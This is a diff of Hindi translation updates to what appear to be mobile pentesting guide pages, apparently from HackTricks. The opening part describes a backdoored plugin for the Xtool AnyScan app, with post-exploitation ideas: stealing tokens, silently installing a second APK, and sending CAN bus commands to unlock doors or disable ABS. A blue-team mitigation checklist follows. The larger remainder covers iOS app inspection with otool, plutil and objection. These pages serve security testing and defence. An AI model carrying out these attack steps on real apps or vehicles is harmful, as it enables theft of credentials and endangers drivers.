* `dlopen()` के माध्यम से शामिल *libscan_x64.so* को तुरंत execute करेगा **ऐप की अनुमतियों के साथ** (कैमरा, GPS, Bluetooth, फाइल सिस्टम, …)।
|
||||
* शामिल *libscan_x64.so* को `dlopen()` करेगा, तुरंत हमारे कोड को **ऐप की अनुमतियों** (कैमरा, GPS, Bluetooth, फाइल सिस्टम, ...) के साथ निष्पादित करेगा।
|
||||
|
||||
चूंकि प्लगइन डिस्क पर cached है, बैकडोर **रीबूट के दौरान बना रहता है** और हर बार चलता है जब उपयोगकर्ता संबंधित फीचर का चयन करता है।
|
||||
चूंकि प्लगइन डिस्क पर कैश किया गया है, बैकडोर **रीबूट के दौरान बना रहता है** और हर बार चलता है जब उपयोगकर्ता संबंधित फीचर का चयन करता है।
|
||||
|
||||
## 5. Post-Exploitation Ideas
|
||||
## 5. पोस्ट-एक्सप्लॉइटेशन विचार
|
||||
|
||||
* सत्र कुकीज़, OAuth टोकन, या JWTs चुराएं जो ऐप द्वारा संग्रहीत हैं।
|
||||
* ऐप द्वारा संग्रहीत सत्र कुकीज़, OAuth टोकन, या JWT चुराएं।
|
||||
* एक दूसरे चरण का APK ड्रॉप करें और इसे चुपचाप `pm install` के माध्यम से इंस्टॉल करें (ऐप के पास पहले से ही `REQUEST_INSTALL_PACKAGES` है)।
|
||||
* किसी भी जुड़े हार्डवेयर का दुरुपयोग करें - AnyScan परिदृश्य में आप मनमाने **OBD-II / CAN बस कमांड** भेज सकते हैं (दरवाजे अनलॉक करें, ABS बंद करें, आदि)।
|
||||
|
||||
---
|
||||
### Detection & Mitigation Checklist (blue team)
|
||||
### पहचान और शमन चेकलिस्ट (नीली टीम)
|
||||
|
||||
* कभी भी एक कस्टम TrustManager/HostnameVerifier के साथ प्रोडक्शन बिल्ड न भेजें जो प्रमाणपत्र सत्यापन को निष्क्रिय करता है।
|
||||
* Google Play से बाहर executable कोड डाउनलोड न करें। यदि आपको *करना है*, तो प्रत्येक प्लगइन को एक ही **apkSigning v2** कुंजी के साथ साइन करें और लोड करने से पहले हस्ताक्षर की पुष्टि करें।
|
||||
* Google Play से बाहर से निष्पादन योग्य कोड डाउनलोड न करें। यदि आपको *करना है*, तो प्रत्येक प्लगइन को एक ही **apkSigning v2** कुंजी के साथ साइन करें और लोड करने से पहले हस्ताक्षर की पुष्टि करें।
|
||||
* कमजोर/hard-coded क्रिप्टो को **AES-GCM** और एक सर्वर-साइड घूर्णन कुंजी के साथ बदलें।
|
||||
* डाउनलोड की गई आर्काइव की अखंडता की पुष्टि करें (हस्ताक्षर या कम से कम SHA-256)।
|
||||
* डाउनलोड किए गए आर्काइव की अखंडता की पुष्टि करें (हस्ताक्षर या कम से कम SHA-256)।
|
||||
|
||||
---
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
|
@ -20,7 +20,7 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
परीक्षण के दौरान **कई ऑपरेशन सुझाए जाएंगे** (डिवाइस से कनेक्ट करना, फ़ाइलें पढ़ना/लिखना/अपलोड/डाउनलोड करना, कुछ उपकरणों का उपयोग करना...)। इसलिए, यदि आप इनमें से किसी भी क्रिया को करने का तरीका नहीं जानते हैं, तो कृपया **पृष्ठ पढ़ना शुरू करें**:
|
||||
परीक्षण के दौरान **कई ऑपरेशन सुझाए जाएंगे** (डिवाइस से कनेक्ट करना, फ़ाइलें पढ़ना/लिखना/अपलोड/डाउनलोड करना, कुछ टूल का उपयोग करना...)। इसलिए, यदि आप इनमें से किसी भी क्रिया को करने का तरीका नहीं जानते हैं, तो कृपया **पृष्ठ पढ़ना शुरू करें**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
@ -37,14 +37,14 @@ basic-ios-testing-operations.md
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
IPA फ़ाइल पर स्वचालित स्थैतिक विश्लेषण करने के लिए उपकरण [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) का उपयोग करने की सिफारिश की जाती है।
|
||||
IPA फ़ाइल पर स्वचालित स्थैतिक विश्लेषण करने के लिए टूल [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) का उपयोग करने की सिफारिश की जाती है।
|
||||
|
||||
**बाइनरी में मौजूद सुरक्षा की पहचान**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: जब सक्षम होता है, तो एप्लिकेशन हर बार लॉन्च होने पर एक यादृच्छिक मेमोरी पते पर लोड होता है, जिससे इसके प्रारंभिक मेमोरी पते की भविष्यवाणी करना कठिन हो जाता है।
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # इसमें PIE फ्लैग शामिल होना चाहिए
|
||||
otool -hv <app-binary> | grep PIE # इसमें PIE ध्वज शामिल होना चाहिए
|
||||
```
|
||||
|
||||
- **Stack Canaries**: स्टैक की अखंडता को मान्य करने के लिए, एक 'कैनरी' मान को एक फ़ंक्शन को कॉल करने से पहले स्टैक पर रखा जाता है और फ़ंक्शन समाप्त होने पर फिर से मान्य किया जाता है।
|
||||
@ -167,13 +167,13 @@ ios-hooking-with-objection.md
|
||||
- **`Info.plist`**: यह फ़ाइल ऐप्लिकेशन के विशिष्ट कॉन्फ़िगरेशन विवरण रखती है।
|
||||
- **`_CodeSignature/`**: यह निर्देशिका एक plist फ़ाइल शामिल करती है जिसमें एक हस्ताक्षर होता है, जो बंडल में सभी फ़ाइलों की अखंडता सुनिश्चित करता है।
|
||||
- **`Assets.car`**: एक संकुचित संग्रह जो आइकनों जैसी संपत्ति फ़ाइलों को संग्रहीत करता है।
|
||||
- **`Frameworks/`**: यह फ़ोल्डर ऐप्लिकेशन की मूलभूत पुस्तकालयों को रखता है, जो `.dylib` या `.framework` फ़ाइलों के रूप में हो सकते हैं।
|
||||
- **`PlugIns/`**: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें `.appex` फ़ाइलों के रूप में जाना जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एक ही डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एक ही iCloud खाते में कई डिवाइसों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है।
|
||||
- **`Frameworks/`**: इस फ़ोल्डर में ऐप्लिकेशन की मूल लाइब्रेरी होती हैं, जो `.dylib` या `.framework` फ़ाइलों के रूप में हो सकती हैं।
|
||||
- **`PlugIns/`**: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें `.appex` फ़ाइलों के रूप में जाना जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एक ही डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एक ही iCloud खाते में कई उपकरणों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है।
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` फ़ाइल आपके ऐप्लिकेशन या बंडल के प्रकार और निर्माता कोड निर्दिष्ट करने का एक वैकल्पिक तरीका है।
|
||||
- **en.lproj, fr.proj, Base.lproj**: ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और यदि कोई भाषा समर्थित नहीं है तो एक डिफ़ॉल्ट संसाधन।
|
||||
- **en.lproj, fr.proj, Base.lproj**: ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और एक डिफ़ॉल्ट संसाधन यदि कोई भाषा समर्थित नहीं है।
|
||||
- **Security**: `_CodeSignature/` निर्देशिका ऐप की सुरक्षा में एक महत्वपूर्ण भूमिका निभाती है, सभी बंडल की गई फ़ाइलों की अखंडता को डिजिटल हस्ताक्षरों के माध्यम से सत्यापित करती है।
|
||||
- **Asset Management**: `Assets.car` फ़ाइल ग्राफिकल संपत्तियों को कुशलतापूर्वक प्रबंधित करने के लिए संकुचन का उपयोग करती है, जो ऐप्लिकेशन के प्रदर्शन को अनुकूलित करने और इसके समग्र आकार को कम करने के लिए महत्वपूर्ण है।
|
||||
- **Frameworks and PlugIns**: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड पुस्तकालयों (`Frameworks/`) को शामिल करने और ऐप की कार्यक्षमता को बढ़ाने (`PlugIns/`) की अनुमति मिलती है।
|
||||
- **Frameworks and PlugIns**: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड लाइब्रेरी (`Frameworks/`) शामिल करने और ऐप की कार्यक्षमता का विस्तार (`PlugIns/`) करने की अनुमति मिलती है।
|
||||
- **Localization**: यह संरचना कई भाषाओं का समर्थन करती है, विशिष्ट भाषा पैक के लिए संसाधनों को शामिल करके वैश्विक ऐप्लिकेशन पहुंच को सुविधाजनक बनाती है।
|
||||
|
||||
**Info.plist**
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Info.plist** फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (`UsageDescription`), कस्टम URL स्कीम्स (`CFBundleURLTypes`), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (`NSAppTransportSecurity`)। ये प्रविष्टियाँ, साथ ही निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) जैसी अन्य प्रविष्टियाँ, फ़ाइल का निरीक्षण करके या एक साधारण `grep` कमांड का उपयोग करके आसानी से स्थित की जा सकती हैं:
|
||||
**Info.plist** फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (`UsageDescription`), कस्टम URL स्कीम्स (`CFBundleURLTypes`), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (`NSAppTransportSecurity`)। ये प्रविष्टियाँ, अन्य जैसे निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), फ़ाइल का निरीक्षण करके या एक साधारण `grep` कमांड का उपयोग करके आसानी से स्थित की जा सकती हैं:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
कमांड जैसे `ps` और `lsof` का उपयोग ऐप के प्रोसेस की पहचान करने और क्रमशः खुले फ़ाइलों की सूची बनाने के लिए किया जा सकता है, जो ऐप्लिकेशन के सक्रिय डायरेक्टरी पथों के बारे में जानकारी प्रदान करते हैं:
|
||||
कमांड जैसे `ps` और `lsof` का उपयोग ऐप के प्रोसेस की पहचान करने और क्रमशः खुले फ़ाइलों की सूची बनाने के लिए किया जा सकता है, जो ऐप्लिकेशन के सक्रिय डायरेक्टरी पाथ्स के बारे में जानकारी प्रदान करते हैं:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
@ -246,14 +246,14 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- इसमें **सेमी-स्थायी कैश की गई फ़ाइलें** शामिल हैं।
|
||||
- उपयोगकर्ताओं के लिए अदृश्य है और **उपयोगकर्ता इसमें लिख नहीं सकते**।
|
||||
- इस निर्देशिका में सामग्री **बैकअप नहीं की जाती**।
|
||||
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम हो रहा होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है।
|
||||
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।
|
||||
- **Library/Application Support/**
|
||||
- इसमें ऐप चलाने के लिए आवश्यक **स्थायी** **फाइलें** शामिल हैं।
|
||||
- **उपयोगकर्ताओं के लिए अदृश्य** है और उपयोगकर्ता इसमें लिख नहीं सकते।
|
||||
- इस निर्देशिका में सामग्री **बैकअप की जाती है**।
|
||||
- ऐप `NSURLIsExcludedFromBackupKey` सेट करके पथों को अक्षम कर सकता है।
|
||||
- **Library/Preferences/**
|
||||
- इसका उपयोग उन प्रॉपर्टीज़ को स्टोर करने के लिए किया जाता है जो **ऐप्लिकेशन के पुनरारंभ होने के बाद भी बनी रह सकती हैं**।
|
||||
- इसका उपयोग उन प्रॉपर्टीज को स्टोर करने के लिए किया जाता है जो **ऐप्लिकेशन के पुनरारंभ होने के बाद भी बनी रह सकती हैं**।
|
||||
- जानकारी, बिना एन्क्रिप्ट किए, एप्लिकेशन सैंडबॉक्स के अंदर एक plist फ़ाइल में \[BUNDLE_ID].plist के रूप में सहेजी जाती है।
|
||||
- `NSUserDefaults` का उपयोग करके संग्रहीत सभी कुंजी/मान जोड़े इस फ़ाइल में पाए जा सकते हैं।
|
||||
- **tmp/**
|
||||
@ -261,7 +261,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- इसमें गैर-स्थायी कैश की गई फ़ाइलें शामिल हैं।
|
||||
- **उपयोगकर्ताओं के लिए अदृश्य** है।
|
||||
- इस निर्देशिका में सामग्री बैकअप नहीं की जाती है।
|
||||
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम हो रहा होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है।
|
||||
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।
|
||||
|
||||
आइए iGoat-Swift के एप्लिकेशन बंडल (.app) निर्देशिका पर करीब से नज़र डालते हैं जो बंडल निर्देशिका के अंदर है (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
@ -299,9 +299,9 @@ DVIA-v2:
|
||||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
**बाइनरी को डिसएसेंबल करना**
|
||||
**बाइनरी को डिसअसेम्बल करना**
|
||||
|
||||
टेक्स्ट सेक्शन को डिसएसेंबल करें:
|
||||
टेक्स्ट सेक्शन को डिसअसेम्बल करें:
|
||||
```bash
|
||||
otool -tV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -355,37 +355,37 @@ double _field1;
|
||||
double _field2;
|
||||
};
|
||||
```
|
||||
हालांकि, बाइनरी को डिसएसेंबल करने के लिए सबसे अच्छे विकल्प हैं: [**Hopper**](https://www.hopperapp.com/download.html?) और [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
हालांकि, बाइनरी को डिस्सेम्बल करने के लिए सबसे अच्छे विकल्प हैं: [**Hopper**](https://www.hopperapp.com/download.html?) और [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
## डेटा संग्रहण
|
||||
|
||||
यह जानने के लिए कि iOS डिवाइस में डेटा कैसे संग्रहीत करता है, इस पृष्ठ को पढ़ें:
|
||||
यह जानने के लिए कि iOS डिवाइस में डेटा कैसे संग्रहित करता है, इस पृष्ठ को पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> जानकारी संग्रहीत करने के लिए निम्नलिखित स्थानों की जांच **ऐप्लिकेशन स्थापित करने के तुरंत बाद**, **ऐप्लिकेशन की सभी कार्यक्षमताओं की जांच करने के बाद** और यहां तक कि **एक उपयोगकर्ता से लॉगआउट करने और दूसरे में लॉगिन करने के बाद** की जानी चाहिए।\
|
||||
> लक्ष्य है **अनसुरक्षित संवेदनशील जानकारी** खोजना (पासवर्ड, टोकन), वर्तमान उपयोगकर्ता और पूर्व में लॉग इन किए गए उपयोगकर्ताओं की।
|
||||
> जानकारी संग्रहित करने के लिए निम्नलिखित स्थानों की जांच **ऐप्लिकेशन स्थापित करने के तुरंत बाद**, **ऐप्लिकेशन की सभी कार्यक्षमताओं की जांच करने के बाद** और यहां तक कि **एक उपयोगकर्ता से लॉगआउट करने और दूसरे में लॉगिन करने के बाद** की जानी चाहिए।\
|
||||
> लक्ष्य है **अनसुरक्षित संवेदनशील जानकारी** खोजना (पासवर्ड, टोकन), वर्तमान उपयोगकर्ता और पूर्व में लॉगिन किए गए उपयोगकर्ताओं की।
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** फ़ाइलें संरचित XML फ़ाइलें हैं जो **की-मान जोड़े** रखती हैं। यह स्थायी डेटा संग्रहीत करने का एक तरीका है, इसलिए कभी-कभी आप **इन फ़ाइलों में संवेदनशील जानकारी** पा सकते हैं। ऐप स्थापित करने के बाद और इसका गहन उपयोग करने के बाद इन फ़ाइलों की जांच करने की सिफारिश की जाती है कि क्या नया डेटा लिखा गया है।
|
||||
**plist** फ़ाइलें संरचित XML फ़ाइलें हैं जो **की-मान जोड़े** रखती हैं। यह स्थायी डेटा संग्रहित करने का एक तरीका है, इसलिए कभी-कभी आप **इन फ़ाइलों में संवेदनशील जानकारी** पा सकते हैं। ऐप स्थापित करने के बाद और इसका गहन उपयोग करने के बाद इन फ़ाइलों की जांच करने की सिफारिश की जाती है कि क्या नया डेटा लिखा गया है।
|
||||
|
||||
plist फ़ाइलों में डेटा को स्थायी रूप से संग्रहीत करने का सबसे सामान्य तरीका **NSUserDefaults** का उपयोग करना है। यह plist फ़ाइल ऐप सैंडबॉक्स के अंदर **`Library/Preferences/<appBundleID>.plist`** में सहेजी जाती है।
|
||||
plist फ़ाइलों में डेटा को स्थायी रूप से संग्रहित करने का सबसे सामान्य तरीका **NSUserDefaults** का उपयोग करना है। यह plist फ़ाइल ऐप सैंडबॉक्स के अंदर **`Library/Preferences/<appBundleID>.plist`** में सहेजी जाती है।
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) क्लास डिफ़ॉल्ट सिस्टम के साथ बातचीत करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को **उपयोगकर्ता प्राथमिकताओं** के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। `NSUserDefaults` द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास **plist** **फ़ाइल** में **डेटा** संग्रहीत करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है।
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) क्लास डिफ़ॉल्ट सिस्टम के साथ इंटरैक्ट करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को **उपयोगकर्ता प्राथमिकताओं** के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। `NSUserDefaults` द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास **plist** **फ़ाइल** में **डेटा** संग्रहित करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है।
|
||||
|
||||
इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से लंबे समय तक एक्सेस नहीं किया जा सकता है, लेकिन इसे **बैकअप** करके एक्सेस किया जा सकता है।
|
||||
इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से लंबे समय तक एक्सेस नहीं किया जा सकता, लेकिन इसे **बैकअप** करके एक्सेस किया जा सकता है।
|
||||
|
||||
आप **`NSUserDefaults`** का उपयोग करके सहेजी गई जानकारी को objection के `ios nsuserdefaults get` का उपयोग करके **डंप** कर सकते हैं।
|
||||
|
||||
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप `/private/var/mobile/Containers/Data/Application/{APPID}` पर जा सकते हैं और चलाएं:
|
||||
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप `/private/var/mobile/Containers/Data/Application/{APPID}` पर पहुंच सकते हैं और चलाएं:
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
**फाइलों को **XML या बाइनरी (bplist)** प्रारूप से XML में परिवर्तित करने के लिए, आपके ऑपरेटिंग सिस्टम के आधार पर विभिन्न विधियाँ उपलब्ध हैं:**
|
||||
**XML या बाइनरी (bplist)** प्रारूप से XML में फ़ाइलों को परिवर्तित करने के लिए, आपके ऑपरेटिंग सिस्टम के आधार पर विभिन्न विधियाँ उपलब्ध हैं:
|
||||
|
||||
**macOS उपयोगकर्ताओं के लिए:** `plutil` कमांड का उपयोग करें। यह macOS (10.2+) में एक अंतर्निहित उपकरण है, जो इस उद्देश्य के लिए डिज़ाइन किया गया है:
|
||||
```bash
|
||||
@ -405,7 +405,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) आपके एप्लिकेशन में ऑब्जेक्ट्स के मॉडल लेयर को प्रबंधित करने के लिए एक ढांचा है। [Core Data SQLite का उपयोग अपने स्थायी स्टोर के रूप में कर सकता है](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), लेकिन ढांचा स्वयं एक डेटाबेस नहीं है।\
|
||||
CoreData डिफ़ॉल्ट रूप से अपने डेटा को एन्क्रिप्ट नहीं करता है। हालाँकि, CoreData में एक अतिरिक्त एन्क्रिप्शन लेयर जोड़ी जा सकती है। अधिक विवरण के लिए [GitHub Repo](https://github.com/project-imas/encrypted-core-data) देखें।
|
||||
|
||||
आप किसी एप्लिकेशन की SQLite Core Data जानकारी को पथ `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` में पा सकते हैं।
|
||||
आप किसी एप्लिकेशन की SQLite Core Data जानकारी को इस पथ में पा सकते हैं `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
**यदि आप SQLite खोल सकते हैं और संवेदनशील जानकारी तक पहुँच सकते हैं, तो आपने एक गलत कॉन्फ़िगरेशन पाया है।**
|
||||
```objectivec:Code from iGoat
|
||||
@ -434,11 +434,11 @@ NSLog(@"data stored in core data");
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) एक की/मान भंडार है जो SQLite के ऊपर बनाया गया है।\
|
||||
चूंकि Yap डेटाबेस SQLite डेटाबेस हैं, आप उन्हें पिछले अनुभाग में दिए गए कमांड का उपयोग करके ढूंढ सकते हैं।
|
||||
चूंकि Yap डेटाबेस SQLite डेटाबेस हैं, आप उन्हें पिछले अनुभाग में दिए गए कमांड का उपयोग करके खोज सकते हैं।
|
||||
|
||||
### Other SQLite Databases
|
||||
|
||||
यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे उन पर **संवेदनशील** **डेटा** **स्टोर** कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन की निर्देशिका के अंदर हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन निर्देशिका में जाएं जहां डेटा सहेजा गया है (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे **संवेदनशील** **डेटा** को उन पर **स्टोर** कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन की निर्देशिका के अंदर हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन की निर्देशिका में जाएं जहां डेटा सहेजा गया है (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Cookies
|
||||
|
||||
iOS ऐप्स के कुकीज़ को प्रत्येक ऐप्स के फ़ोल्डर के अंदर **`Library/Cookies/cookies.binarycookies`** में स्टोर करता है। हालाँकि, डेवलपर्स कभी-कभी उन्हें **keychain** में सहेजने का निर्णय लेते हैं क्योंकि उल्लेखित **कुकी फ़ाइल को बैकअप में एक्सेस किया जा सकता है**।
|
||||
iOS ऐप्स के कुकीज़ को प्रत्येक ऐप्स के फ़ोल्डर के अंदर **`Library/Cookies/cookies.binarycookies`** में स्टोर करता है। हालाँकि, डेवलपर्स कभी-कभी उन्हें **कीचेन** में सहेजने का निर्णय लेते हैं क्योंकि उल्लेखित **कुकी फ़ाइल को बैकअप में एक्सेस किया जा सकता है**।
|
||||
|
||||
कुकी फ़ाइल की जांच करने के लिए आप [**इस पायथन स्क्रिप्ट**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) का उपयोग कर सकते हैं या objection के **`ios cookies get`** का उपयोग कर सकते हैं।\
|
||||
**आप इन फ़ाइलों को JSON प्रारूप में परिवर्तित करने और डेटा की जांच करने के लिए objection का भी उपयोग कर सकते हैं।**
|
||||
@ -508,31 +508,31 @@ iOS ऐप्स के कुकीज़ को प्रत्येक ऐ
|
||||
```
|
||||
### Cache
|
||||
|
||||
डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि **HTTP अनुरोध और प्रतिक्रियाएँ Cache.db** डेटाबेस में। यह डेटाबेस **संवेदनशील डेटा** रख सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (`/var/mobile/Containers/Data/Application/<UUID>`) और `/Library/Caches/<Bundle Identifier>` पर जाएं। **WebKit कैश भी Cache.db** फ़ाइल में स्टोर किया जा रहा है। **Objection** इस डेटाबेस को खोल सकता है और कमांड `sqlite connect Cache.db` के साथ इंटरैक्ट कर सकता है, क्योंकि यह एक **सामान्य SQLite डेटाबेस** है।
|
||||
डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि **HTTP अनुरोध और प्रतिक्रियाएँ Cache.db** डेटाबेस में। यह डेटाबेस **संवेदनशील डेटा** रख सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (`/var/mobile/Containers/Data/Application/<UUID>`) और `/Library/Caches/<Bundle Identifier>` पर जाएं। **WebKit कैश भी Cache.db** फ़ाइल में स्टोर किया जा रहा है। **Objection** इस डेटाबेस को `sqlite connect Cache.db` कमांड के साथ खोल सकता है और इसके साथ इंटरैक्ट कर सकता है, क्योंकि यह एक **सामान्य SQLite डेटाबेस** है।
|
||||
|
||||
यह **सिफारिश की जाती है कि इस डेटा को कैशिंग बंद कर दिया जाए**, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे इसे प्राप्त किया जा सकता है:
|
||||
यह **सिफारिश की जाती है कि इस डेटा को कैशिंग से अक्षम करें**, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे यह प्राप्त किया जा सकता है:
|
||||
|
||||
1. सिफारिश की जाती है कि लॉगआउट के बाद कैश की गई प्रतिक्रियाएँ हटा दी जाएँ। यह Apple द्वारा प्रदान की गई विधि [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं:
|
||||
